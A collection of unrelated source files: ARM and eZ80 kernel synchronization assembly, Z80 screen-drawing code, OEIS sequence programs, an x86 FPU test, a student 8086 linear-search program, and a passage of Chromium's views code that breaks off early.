1 |defining ?g_Increment@Class_System_Threading_Interlocked@@SAHPAH@Z| EQU 1 include hal.inc MACRO BREAKPOINT bkpt 0xffff swi 0xffff03 MEND MACRO DISABLE_INTERRUPTS $savereg, $tempreg mrs $savereg, cpsr orr $tempreg, $savereg, #Struct_Microsoft_Singularity_Isal_Arm_Psr_DisableIrq msr cpsr_c, $tempreg MEND MACRO RESTORE_INTERRUPTS $savereg msr cpsr_c, $savereg MEND TEXTAREA ;;; uint32 InterlockedCompareExchange(uint32 * dst, uint32 exc, uint32 cmp) LEAF_ENTRY InterlockedCompareExchange DISABLE_INTERRUPTS r3, r12 ldr r12, [r0] cmp r12, r2 bne %F1 str r1, [r0] 1 mov r0, r12 RESTORE_INTERRUPTS r3 bx lr LEAF_END ;;; uint32 InterlockedExchange(uint32 * dst, uint32 exc, uint32 cmp) LEAF_ENTRY InterlockedExchange DISABLE_INTERRUPTS r3, r12 ldr r12, [r0] str r1, [r0] mov r0, r12 RESTORE_INTERRUPTS r3 bx lr LEAF_END ;;; uint32 InterlockedExchangeAdd(uint32 * dst, uint32 val) LEAF_ENTRY InterlockedExchangeAdd DISABLE_INTERRUPTS r3, r12 ldr r12, [r0] add r1, r12, r1 str r1, [r0] mov r0, r12 RESTORE_INTERRUPTS r3 bx lr LEAF_END ;;; uint32 InterlockedIncrement(uint32 * dst) LEAF_ENTRY InterlockedIncrement DISABLE_INTERRUPTS r3, r12 ldr r1, [r0] add r1, r1, #1 str r1, [r0] mov r0, r1 RESTORE_INTERRUPTS r3 bx lr LEAF_END ;;; uint32 InterlockedDecrement(uint32 * dst) LEAF_ENTRY InterlockedDecrement DISABLE_INTERRUPTS r3, r12 ldr r1, [r0] sub r1, r1, #1 str r1, [r0] mov r0, r1 RESTORE_INTERRUPTS r3 bx lr LEAF_END ;;; ;;; uint64 InterlockedCompareExchange64( ;;; r0 = uint64 *dst, ;;; r1/r2 = uint64 exc, ;;; r3/[sp] = uint64 cmp) ;;; NESTED_ENTRY InterlockedCompareExchange64 stmdb sp!, {r4-r7, lr} PROLOG_END DISABLE_INTERRUPTS r5, r12 ; save cpsr to r5 ldr r4, [sp, #0x14] ; load r4 with Comperand.HighPart ldr r6, [r0, #0] ; load r6 with *dst.LowPart ldr r7, [r0, #4] ; load r7 with *dst.HighPart cmp r6, r3 ; compare orginal with cmp bne %F1 cmp r7, r4 bne %F1 str r1, [r0, #0] ; store exc.LowPart str r2, [r0, #4] ; store exc.HighPart 1 mov r0, r6 ; prepare to return original mov r1, r7 ; RESTORE_INTERRUPTS r5 ldmia sp!, {r4-r7, pc} NESTED_END ;;; ;;; int Class_System_Threading_Interlocked::g_CompareExchange( ;;; int * dst, ;;; int exc, ;;; int cmp) ;;; LEAF_ENTRY ?g_CompareExchange@Class_System_Threading_Interlocked@@SAHPAHHH@Z b InterlockedCompareExchange nop LEAF_END ;;; ;;; unsigned int Class_System_Threading_Interlocked::g_CompareExchange( ;;; unsigned int *dst, ;;; unsigned int exc, ;;; unsigned int cmp) ;;; LEAF_ENTRY ?g_CompareExchange@Class_System_Threading_Interlocked@@SAIPAIII@Z b InterlockedCompareExchange nop LEAF_END ;;; ;;; float Class_System_Threading_Interlocked::g_CompareExchange( ;;; float *dst, ;;; float exc, ;;; float cmp) ;;; LEAF_ENTRY ?g_CompareExchange@Class_System_Threading_Interlocked@@SAMPAMMM@Z b InterlockedCompareExchange nop LEAF_END ;;; ;;; struct Class_System_Object * Class_System_Threading_Interlocked::g_CompareExchange( ;;; struct Class_System_Object ** dst, ;;; struct Class_System_Object * exc, ;;; struct Class_System_Object * cmp) ;;; LEAF_ENTRY ?g_CompareExchange@Class_System_Threading_Interlocked@@SAPAUClass_System_Object@@PAPAU2@PAU2@1@Z b InterlockedCompareExchange nop LEAF_END ;;; ;;; struct Class_System_Threading_ThreadState Class_System_Threading_Interlocked::g_CompareExchange( ;;; struct Class_System_Threading_ThreadState *dst, ;;; struct Class_System_Threading_ThreadState exc, ;;; struct Class_System_Threading_ThreadState cmp) ;;; LEAF_ENTRY ?g_CompareExchange@Class_System_Threading_Interlocked@@SA?AUStruct_System_Threading_ThreadState@@PAU2@U2@1@Z b InterlockedCompareExchange nop LEAF_END ;;; ;;; struct Struct_Microsoft_Singularity_Memory_HandleTable_HandleEntry * Class_System_Threading_Interlocked::g_CompareExchange( ;;; struct Struct_Microsoft_Singularity_Memory_HandleTable_HandleEntry ** dst, ;;; struct Struct_Microsoft_Singularity_Memory_HandleTable_HandleEntry * exc, ;;; struct Struct_Microsoft_Singularity_Memory_HandleTable_HandleEntry * cmp) ;;; LEAF_ENTRY ?g_CompareExchange@Class_System_Threading_Interlocked@@SAPAUStruct_Microsoft_Singularity_Memory_HandleTable_HandleEntry@@PAPAU2@PAU2@1@Z b InterlockedCompareExchange nop LEAF_END ;;; ;;; struct Struct_Microsoft_Singularity_Memory_HandleTable_HandlePage * Class_System_Threading_Interlocked::g_CompareExchange( ;;; struct Struct_Microsoft_Singularity_Memory_HandleTable_HandlePage ** dst, ;;; struct Struct_Microsoft_Singularity_Memory_HandleTable_HandlePage * exc, ;;; struct Struct_Microsoft_Singularity_Memory_HandleTable_HandlePage * cmp) ;;; LEAF_ENTRY ?g_CompareExchange@Class_System_Threading_Interlocked@@SAPAUStruct_Microsoft_Singularity_Memory_HandleTable_HandlePage@@PAPAU2@PAU2@1@Z b InterlockedCompareExchange nop LEAF_END ;;; ;;; struct uintPtr * Class_System_Threading_Interlocked::g_CompareExchange( ;;; struct uintPtr ** dst, ;;; struct uintPtr * exc, ;;; struct uintPtr * cmp) ;;; LEAF_ENTRY ?g_CompareExchange@Class_System_Threading_Interlocked@@SAPAUuintPtr@@PAPAU2@PAU2@1@Z b InterlockedCompareExchange nop LEAF_END ;;; ;;; struct void * Class_System_Threading_Interlocked::g_CompareExchange( ;;; struct void ** dst, ;;; struct void * exc, ;;; struct void * cmp) ;;; LEAF_ENTRY ?g_CompareExchange@Class_System_Threading_Interlocked@@SAPAUvoid@@PAPAU2@PAU2@1@Z b InterlockedCompareExchange nop LEAF_END ;;; ;;; __int64 Class_System_Threading_Interlocked::g_CompareExchange( ;;; __int64 *dst, ;;; __int64 exc, ;;; __int64 cmp) ;;; LEAF_ENTRY ?g_CompareExchange@Class_System_Threading_Interlocked@@SA_JPA_J_J1@Z b InterlockedCompareExchange64 nop LEAF_END ;;; ;;; unsigned __int64 Class_System_Threading_Interlocked::g_CompareExchange( ;;; unsigned __int64 *dst, ;;; unsigned __int64 exc, ;;; unsigned __int64 cmp) ;;; LEAF_ENTRY ?g_CompareExchange@Class_System_Threading_Interlocked@@SA_KPA_K_K1@Z b InterlockedCompareExchange64 nop LEAF_END ;;; ;;; int Class_System_Threading_Interlocked::g_Decrement(int * dst) ;;; LEAF_ENTRY ?g_Decrement@Class_System_Threading_Interlocked@@SAHPAH@Z b InterlockedDecrement nop LEAF_END ;;; ;;;- int Class_System_Threading_Interlocked::g_Exchange(int * dst, ;;; int exc) ;;; LEAF_ENTRY ?g_Exchange@Class_System_Threading_Interlocked@@SAHPAHH@Z b InterlockedExchange nop LEAF_END ;;; ;;;- unsigned int Class_System_Threading_Interlocked::g_Exchange(unsigned int * dst, ;;; unsigned int exc) ;;; LEAF_ENTRY ?g_Exchange@Class_System_Threading_Interlocked@@SAIPAII@Z b InterlockedExchange nop LEAF_END ;;; ;;; float Class_System_Threading_Interlocked::g_Exchange(float * dst, ;;; float exc) ;;; LEAF_ENTRY ?g_Exchange@Class_System_Threading_Interlocked@@SAMPAMM@Z b InterlockedExchange nop LEAF_END ;;; ;;;- struct Class_System_Object * Class_System_Threading_Interlocked::g_Exchange( ;;; struct Class_System_Object ** dst, ;;; struct Class_System_Object * exc) ;;; LEAF_ENTRY ?g_Exchange@Class_System_Threading_Interlocked@@SAPAUClass_System_Object@@PAPAU2@PAU2@@Z b InterlockedExchange nop LEAF_END ;;; ;;; struct uintPtr * Class_System_Threading_Interlocked::g_Exchange(struct uintPtr ** dst, ;;; struct uintPtr * exc) ;;; LEAF_ENTRY ?g_Exchange@Class_System_Threading_Interlocked@@SAPAUuintPtr@@PAPAU2@PAU2@@Z b InterlockedExchange nop LEAF_END ;;; ;;; int Class_System_Threading_Interlocked::g_Increment(int * dst) ;;; LEAF_ENTRY ?g_Increment@Class_System_Threading_Interlocked@@SAHPAH@Z b InterlockedIncrement nop LEAF_END ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; END
; atomic_rw structure : 5 bytes define KERNEL_ATOMIC_RW_SIZE 5 define KERNEL_ATOMIC_RW_LOCK 0 define KERNEL_ATOMIC_RW_WAIT_COUNT 1 define KERNEL_ATOMIC_RW_WAIT_HEAD 2 define KERNEL_ATOMIC_RW_MAGIC_READ $00 ; or null define KERNEL_ATOMIC_RW_MAGIC_WRITE $FF ; or any non zero ; mutex are quite similar : 6 bytes define KERNEL_ATOMIC_MUTEX_SIZE 6 define KERNEL_ATOMIC_MUTEX_LOCK 0 define KERNEL_ATOMIC_MUTEX_OWNER 1 define KERNEL_ATOMIC_MUTEX_WAIT_COUNT 2 define KERNEL_ATOMIC_MUTEX_WAIT_HEAD 3 define KERNEL_ATOMIC_MUTEX_MAGIC $FE macro tsti ld a, i di push af end macro macro rsti pop af jp po, $+5 ei end macro ; TODO : crazily optimize all this segment please +++ ; TODO : make atomic_rw priority aware atomic_rw: .try_lock_read: di xor a, a inc (hl) jr z, .__lock_fail_read ei ret .try_lock_write: di xor a, a or a, (hl) jr nz, .__lock_fail_write dec (hl) ei ret .__lock_fail_read: dec (hl) .__lock_fail_write: scf ei ret .lock_read: di xor a, a inc (hl) call z, .wait_read ei ret .lock_write: di xor a, a or a, (hl) call nz, .wait_write ; if arrive here, the lock is null, so dec it to make it = $FF dec (hl) ei ret .unlock_read: di dec (hl) jr z, .__unlock_slow_path ei ret .unlock_write: di xor a, a ld (hl), a .__unlock_slow_path: inc hl ld a, (hl) inc a jr nz, .wake dec hl ei ret ; make us wait on the lock .wait_read: ; restore first the lock dec (hl) .wait_write: ; get the return adress ex (sp), iy pea iy-5 push hl inc hl ; add ourselves to lock structure ld iy, (kthread_current) ld (iy+KERNEL_THREAD_LIST_DATA), a lea iy, iy+KERNEL_THREAD_LIST_DATA call kqueue.insert_tail lea iy, iy-KERNEL_THREAD_LIST_DATA ; and switch to uninterruptible call task_switch_uninterruptible pop hl call task_yield xor a, a ; we were waked up if we are here, interrupt are on ; unwind stack to get the return adress and our saved iy pop iy ex (sp), iy di ; right here, we'll return exactly at the inc (hl) or the or a, (hl) ret .wake: ; unqueue and wake thread while we dont have a WRITER thread push bc ld b, a push iy .__wake_waiter: inc hl ld iy, (hl) dec hl call kqueue.remove_head lea iy, iy-KERNEL_THREAD_LIST_DATA push hl xor a, a call kthread.irq_resume pop hl ; stop if the thread waked is a writer ; TODO, optimize so we don't wake a writer if readers as been awake ? ld a, (iy+KERNEL_THREAD_LIST_DATA) or a, a jr nz, .__wake_done djnz .__wake_waiter .__wake_done: pop iy pop bc ; reschedule right now jp task_schedule .init: ld (hl), 0 inc hl ld (hl), $FF inc hl ld (hl), 0 inc hl ld (hl), 0 inc hl ld (hl), 0 dec hl dec hl dec hl dec hl ret atomic_op: ret atomic_mutex: ; please note : ; - one task can hold the mutex ; - only the owner can unlock the mutex. ; - Do not exit with a mutex held. ; - Do not use mutexes in irq or other interrupt disable area .lock: push iy push af di sra (hl) call c, .wait ld iy, (kthread_current) ld a, (iy+KERNEL_THREAD_PID) inc hl ld (hl), a dec hl ld a, (iy+KERNEL_THREAD_NICE) ld (iy+KERNEL_THREAD_LIST_DATA), a ei pop af pop iy ret .wait: ; signal to wait on the mutex push ix ld iy, (kthread_current) ; save hl for later .__wait_again: push hl inc hl lea iy, iy+KERNEL_THREAD_LIST_DATA ; we delayed the critical section at our best ; get the owner ld a, (hl) inc hl add a, a add a, a ld ix, kthread_pid_map ld ixl, a di ld a, (iy+KERNEL_THREAD_PRIORITY-KERNEL_THREAD_LIST_DATA) ; insert the node at the correct priority call kqueue.insert_priority lea iy, iy-KERNEL_THREAD_LIST_DATA ; right here we should compare the arriving thread priority with the owner priority to alleviate priority inversion issue ; load priority of the current thread ld a, (iy+KERNEL_THREAD_PRIORITY) sub a, (ix+KERNEL_THREAD_PRIORITY) ; find a nice value to boost thread priority to be at least >= of the highest priority waiting thread ; if the result carry, the priority of waiter is > of owner. The diff *2 should be the nice value jr nc, .__wait_switch ; save of the previous (lowest) nice value is in THREAD_LIST_DATA of the owner, so we can write it add a, a ld (ix+KERNEL_THREAD_NICE), a .__wait_switch: call task_switch_uninterruptible pop hl call task_yield ; we are back, try to acquire the lock again di sra (hl) jr c, .__wait_again ; mutex acquired, return pop ix ret .unlock: ; unlock a mutex ; destroy a, bc push hl inc hl ld a, (hl) ld hl, (kthread_current) sub a, (hl) pop hl ret nz di ld (hl), KERNEL_ATOMIC_MUTEX_MAGIC inc hl ld (hl), a inc hl ld a, (hl) inc a jr nz, .__wake ei dec hl dec hl ret .__wake: push iy push af ld iy, (kthread_current) ; restore priority of owning thread (only if there is actual waiter, so only if we are here) ld a, (iy+KERNEL_THREAD_LIST_DATA) ld (iy+KERNEL_THREAD_NICE), a pop af inc hl ld iy, (hl) dec hl call kqueue.remove_head ei lea iy, iy-KERNEL_THREAD_LIST_DATA push hl call kthread.resume pop hl dec hl dec hl pop iy ret .init: push bc ld bc, $FF00FE ld (hl), bc inc hl inc hl inc hl mlt bc ld (hl), bc dec hl dec hl dec hl pop bc ret
#include "GameObject.h" #include "Game.h" namespace Lamter { GameObject::GameObject(Game* _game) : game(_game) { game->AddGameObject(this); } template<class T> T* GameObject::GetComponent(GameObject* gameObject) { return dynamic_cast<T*>(gameObject); } void GameObject::SaveToFile(tinyxml2::XMLDocument* doc, tinyxml2::XMLElement* rootNode) { } void GameObject::LoadFromFile(tinyxml2::XMLDocument* doc, tinyxml2::XMLElement* rootNode) { } }
xor a ld hl, basescradr + #0875 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08aa ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0c55 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #122e ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #132f ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #1430 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #1431 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #1432 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld d,a ld e,a ld (basescradr + #01ce), de ld (basescradr + #02ec), a ld (basescradr + #05d1), a ld (basescradr + #0e8a), a ld (basescradr + #0f8a), a ld (basescradr + #102c), a ld (basescradr + #112d), a ld (basescradr + #122d), a ld (basescradr + #1333), a ld (basescradr + #1433), a ld (basescradr + #150b), a ld (basescradr + #170c), a ld a, 68 ld (basescradr + #01ec), a ld a, 64 ld (basescradr + #01f3), a ld a, 1 ld hl, basescradr + #08ca ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #03eb), a ld (basescradr + #0faa), a ld a, 128 ld hl, basescradr + #0855 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0d35 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #03ec), a ld (basescradr + #1034), a ld (basescradr + #1714), a ld a, 3 ld hl, basescradr + #04eb ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08ea ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0dca ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #080b), a ld (basescradr + #0eea), a ld (basescradr + #102d), a ld a, 224 ld hl, basescradr + #0af4 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #04ec), a ld (basescradr + #0d15), a ld (basescradr + #1014), a ld a, 244 ld (basescradr + #05ec), a ld a, 254 ld hl, basescradr + #0b74 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #06ec), a ld (basescradr + #0e11), a ld (basescradr + #1133), a inc a ld hl, basescradr + #0831 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0832 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0833 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0834 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0b0e ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0d0f ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #1113 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0f10 ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld (basescradr + #07ec), a ld (basescradr + #0830), a ld (basescradr + #090d), a ld (basescradr + #0930), a ld (basescradr + #0e10), a ld (basescradr + #1033), a ld a, 252 ld (basescradr + #080d), a ld (basescradr + #09b4), a ld (basescradr + #0a94), a ld (basescradr + #0ab4), a ld (basescradr + #0b94), a ld (basescradr + #0c0f), a ld (basescradr + #0d10), a ld a, 7 ld hl, basescradr + #090b ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #082b), a ld (basescradr + #0dea), a ld (basescradr + #160c), a ld a, 196 ld (basescradr + #090e), a ld a, 248 ld hl, basescradr + #0db4 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #08d4), a ld (basescradr + #09d4), a ld (basescradr + #0a0e), a ld a, 192 ld hl, basescradr + #0835 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #1114 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #0b0f), a ld (basescradr + #0e15), a ld (basescradr + #0f15), a ld a, 69 ld (basescradr + #0d14), a ld a, 127 ld hl, basescradr + #0a8b ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #0e14), a ld (basescradr + #120b), a ld (basescradr + #1330), a ld (basescradr + #150c), a ld (basescradr + #170d), a ld a, 15 ld hl, basescradr + #092b ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld a, 31 ld hl, basescradr + #084b ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #112e), a ld (basescradr + #130b), a ld a, 63 ld hl, basescradr + #0d6b ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #086b), a ld a, 240 ld hl, basescradr + #0ad4 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #08f4), a ld (basescradr + #09f4), a ret
; A053104: a(n) = ((7*n+8)(!^7))/8, related to A045754 ((7*n+1)(!^7) sept-, or 7-factorials). ; 1,15,330,9570,344520,14814360,740718000,42220926000,2702139264000,191851887744000,14964447244032000,1271978015742720000,117021977448330240000,11585175767384693760000,1228028631342777538560000,138767235341733861857280000,16652068241008063422873600000,2114812666608024054704947200000,283384897325475223330462924800000,39957270522892006489595272396800000 add $0,1 mov $1,2 mov $2,1 lpb $0 sub $0,1 add $2,7 mul $1,$2 lpe mov $0,$1 div $0,16
BITS 32 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END FLDZ FLDPI FLD1 ;TEST_BEGIN_RECORDING FXCH st2 ;TEST_END_RECORDING
; A016780: a(n) = (3*n+1)^4. ; 1,256,2401,10000,28561,65536,130321,234256,390625,614656,923521,1336336,1874161,2560000,3418801,4477456,5764801,7311616,9150625,11316496,13845841,16777216,20151121,24010000,28398241,33362176,38950081,45212176,52200625,59969536,68574961,78074896,88529281,100000000,112550881,126247696,141158161,157351936,174900625,193877776,214358881,236421376,260144641,285610000,312900721,342102016,373301041,406586896,442050625,479785216,519885601,562448656,607573201,655360000,705911761,759333136,815730721,875213056,937890625,1003875856,1073283121,1146228736,1222830961,1303210000,1387488001,1475789056,1568239201,1664966416,1766100625,1871773696,1982119441,2097273616,2217373921,2342560000,2472973441,2608757776,2750058481,2897022976,3049800625,3208542736,3373402561,3544535296,3722098081,3906250000,4097152081,4294967296,4499860561,4711998736,4931550625,5158686976,5393580481,5636405776,5887339441,6146560000,6414247921,6690585616,6975757441,7269949696,7573350625,7886150416,8208541201,8540717056,8882874001,9235210000,9597924961,9971220736,10355301121,10750371856,11156640625,11574317056,12003612721,12444741136,12897917761,13363360000,13841287201,14331920656,14835483601,15352201216,15882300625,16426010896,16983563041,17555190016,18141126721,18741610000,19356878641,19987173376,20632736881,21293813776,21970650625,22663495936,23372600161,24098215696,24840596881,25600000000,26376683281,27170906896,27982932961,28813025536,29661450625,30528476176,31414372081,32319410176,33243864241,34188010000,35152125121,36136489216,37141383841,38167092496,39213900625,40282095616,41371966801,42483805456,43617904801,44774560000,45954068161,47156728336,48382841521,49632710656,50906640625,52204938256,53527912321,54875873536,56249134561,57648010000,59072816401,60523872256,62001498001,63506016016,65037750625,66597028096,68184176641,69799526416,71443409521,73116160000,74818113841,76549608976,78310985281,80102584576,81924750625,83777829136,85662167761,87578116096,89526025681,91506250000,93519144481,95565066496,97644375361,99757432336,101904600625,104086245376,106302733681,108554434576,110841719041,113164960000,115524532321,117920812816,120354180241,122825015296,125333700625,127880620816,130466162401,133090713856,135754665601,138458410000,141202341361,143986855936,146812351921,149679229456,152587890625,155538739456,158532181921,161568625936,164648481361,167772160000,170940075601,174152643856,177410282401,180713410816,184062450625,187457825296,190899960241,194389282816,197926222321,201511210000,205144679041,208827064576,212558803681,216340335376,220172100625,224054542336,227988105361,231973236496,236010384481,240100000000,244242535681,248438446096,252688187761,256992219136,261351000625,265764994576,270234665281,274760478976,279342903841,283982410000,288679469521,293434556416,298248146641,303120718096,308052750625,313044726016 mov $1,$0 mul $1,3 add $1,1 pow $1,4
; Author - Jatin Rohilla ; Course - MCA 102 ; Objective - Implement Linear Search ; User input - elements of the array, and element to be searched. ; approach - compare the element to be searched to each element of the array one by one. ; If found, print index and return, else print not found and return. ; data segment data SEGMENT ARRAY DB 5 DUP(?) M0 DB 13,10,'Enter 5 numbers below (value <=9) -$' M1 DB 13,10,'Enter the number: $' M2 DB 13,10,'Enter the number to be searched: $' M3 DB 13,10,'Number found at position: $' M4 DB 13,10,'Number not found !! $' data ENDS ; code segment code SEGMENT ASSUME DS:data, CS:code START: MOV AX,data MOV DS,AX ; starting index of array SI=0 MOV SI,OFFSET ARRAY ; CX=5 , for LOOP MOV CX,5 ; print msg from data segment MOV AH,09H MOV DX,OFFSET M0 INT 21H ; user input loop ENTER: ; print msg from data segment MOV AH,09H MOV DX,OFFSET M1 INT 21H ; read user input MOV AH,01H INT 21H ; sub 30H for ascii handling SUB AL,30H ; move into array MOV ARRAY[SI],AL ; increment index INC SI ; loop back LOOP ENTER ; display m2 from code segment MOV AH,09H MOV DX,OFFSET M2 INT 21H ; take user input -> numeric MOV AH,01H INT 21H ; subtract 30H for handling ascii SUB AL,30H ; reset array index MOV SI,OFFSET ARRAY MOV CX,5 ; just one loop required, LOOP1 LOOP1: ; compare user input element with a[i] CMP AL,ARRAY[SI] ; if equal, jump to FOUND JE FOUND ; else, just increment 'i' INC SI ; and loop back LOOP LOOP1 ; if loop ends and comes here, that means not found NOTFOUND: ; display not found message from data segment MOV AH,09H MOV DX,OFFSET M4 INT 21H ; proceed to exit JMP MYEXIT ; come here when found FOUND: ; display message "found at loc: " MOV AH,09H MOV DX,OFFSET M3 INT 21H ; increment SI(found index) for USER understanding INC SI ; delete garbage value from DX MOV DX,0H ; move SI to DX MOV DX,SI ; add 30h to handle ascii problem ADD DX,30H ; then display on screen MOV AH,02H INT 21H ; exit lable MYEXIT: hlt code ENDS END START
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #define _USE_MATH_DEFINES // For VC++ to get M_PI. This has to be first. #include "ui/views/view.h" #include <algorithm> #include <cmath> #include "base/debug/trace_event.h" #include "base/logging.h" #include "base/memory/scoped_ptr.h" #include "base/message_loop/message_loop.h" #include "base/strings/stringprintf.h" #include "base/strings/utf_string_conversions.h" #include "third_party/skia/include/core/SkRect.h" #include "ui/base/accessibility/accessibility_types.h" #include "ui/base/dragdrop/drag_drop_types.h" #include "ui/base/ui_base_switches_util.h" #include "ui/compositor/compositor.h" #include "ui/compositor/layer.h" #include "ui/compositor/layer_animator.h" #include "ui/gfx/canvas.h" #include "ui/gfx/interpolated_transform.h" #include "ui/gfx/path.h" #include "ui/gfx/point3_f.h" #include "ui/gfx/point_conversions.h" #include "ui/gfx/rect_conversions.h" #include "ui/gfx/screen.h" #include "ui/gfx/skia_util.h" #include "ui/gfx/transform.h" #include "ui/native_theme/native_theme.h" #include "ui/views/accessibility/native_view_accessibility.h" #include "ui/views/background.h" #include "ui/views/context_menu_controller.h" #include "ui/views/drag_controller.h" #include "ui/views/layout/layout_manager.h" #include "ui/views/views_delegate.h" #include "ui/views/widget/native_widget_private.h" #include "ui/views/widget/root_view.h" #include "ui/views/widget/tooltip_manager.h" #include "ui/views/widget/widget.h" #if defined(OS_WIN) #include "base/win/scoped_gdi_object.h" #endif namespace { // Whether to use accelerated compositing when necessary (e.g. when a view has a // transformation). #if defined(USE_AURA) bool use_acceleration_when_possible = true; #else bool use_acceleration_when_possible = false; #endif #if defined(OS_WIN) const bool kContextMenuOnMousePress = false; #else const bool kContextMenuOnMousePress = true; #endif // Saves the drawing state, and restores the state when going out of scope. class ScopedCanvas { public: explicit ScopedCanvas(gfx::Canvas* canvas) : canvas_(canvas) { if (canvas_) canvas_->Save(); } ~ScopedCanvas() { if (canvas_) canvas_->Restore(); } void SetCanvas(gfx::Canvas* canvas) { if (canvas_) canvas_->Restore(); canvas_ = canvas; canvas_->Save(); } private: gfx::Canvas* canvas_; DISALLOW_COPY_AND_ASSIGN(ScopedCanvas); }; // Returns the top view in |view|'s hierarchy. const views::View* GetHierarchyRoot(const views::View* view) { const views::View* root = view; while (root && root->parent()) root = root->parent(); return root; } } // namespace namespace views { namespace internal { // This event handler receives events in the post-target phase and takes care of // the following: // - Generates context menu, or initiates drag-and-drop, from gesture events. class PostEventDispatchHandler : public ui::EventHandler { public: explicit PostEventDispatchHandler(View* owner) : owner_(owner), touch_dnd_enabled_(switches::IsTouchDragDropEnabled()) { } virtual ~PostEventDispatchHandler() {} private: // Overridden from ui::EventHandler: virtual void OnGestureEvent(ui::GestureEvent* event) OVERRIDE { DCHECK_EQ(ui::EP_POSTTARGET, event->phase()); if (event->handled()) return; if (touch_dnd_enabled_) { if (event->type() == ui::ET_GESTURE_LONG_PRESS && (!owner_->drag_controller() || owner_->drag_controller()->CanStartDragForView( owner_, event->location(), event->location()))) { if (owner_->DoDrag(*event, event->location(), ui::DragDropTypes::DRAG_EVENT_SOURCE_TOUCH)) { event->StopPropagation(); return; } } } if (owner_->context_menu_controller() && (event->type() == ui::ET_GESTURE_LONG_PRESS || event->type() == ui::ET_GESTURE_LONG_TAP || event->type() == ui::ET_GESTURE_TWO_FINGER_TAP)) { gfx::Point location(event->location()); View::ConvertPointToScreen(owner_, &location); owner_->ShowContextMenu(location, ui::MENU_SOURCE_TOUCH); event->StopPropagation(); } } View* owner_; bool touch_dnd_enabled_; DISALLOW_COPY_AND_ASSIGN(PostEventDispatchHandler); }; } // namespace internal // static ViewsDelegate* ViewsDelegate::views_delegate = NULL; // static const char View::kViewClassName[] = "View"; //////////////////////////////////////////////////////////////////////////////// // View, public: // Creation and lifetime ------------------------------------------------------- View::View() : owned_by_client_(false), id_(0), group_(-1), parent_(NULL), visible_(true), enabled_(true), notify_enter_exit_on_child_(false), registered_for_visible_bounds_notification_(false), clip_insets_(0, 0, 0, 0), needs_layout_(true), focus_border_(FocusBorder::CreateDashedFocusBorder()), flip_canvas_on_paint_for_rtl_ui_(false), paint_to_layer_(false), accelerator_registration_delayed_(false), accelerator_focus_manager_(NULL), registered_accelerator_count_(0), next_focusable_view_(NULL), previous_focusable_view_(NULL), focusable_(false), accessibility_focusable_(false), context_menu_controller_(NULL), drag_controller_(NULL), post_dispatch_handler_(new internal::PostEventDispatchHandler(this)), native_view_accessibility_(NULL) { AddPostTargetHandler(post_dispatch_handler_.get()); } View::~View() { if (parent_) parent_->RemoveChildView(this); for (Views::const_iterator i(children_.begin()); i != children_.end(); ++i) { (*i)->parent_ = NULL; if (!(*i)->owned_by_client_) delete *i; } // Release ownership of the native accessibility object, but it's // reference-counted on some platforms, so it may not be deleted right away. if (native_view_accessibility_) native_view_accessibility_->Destroy(); } // Tree operations ------------------------------------------------------------- const Widget* 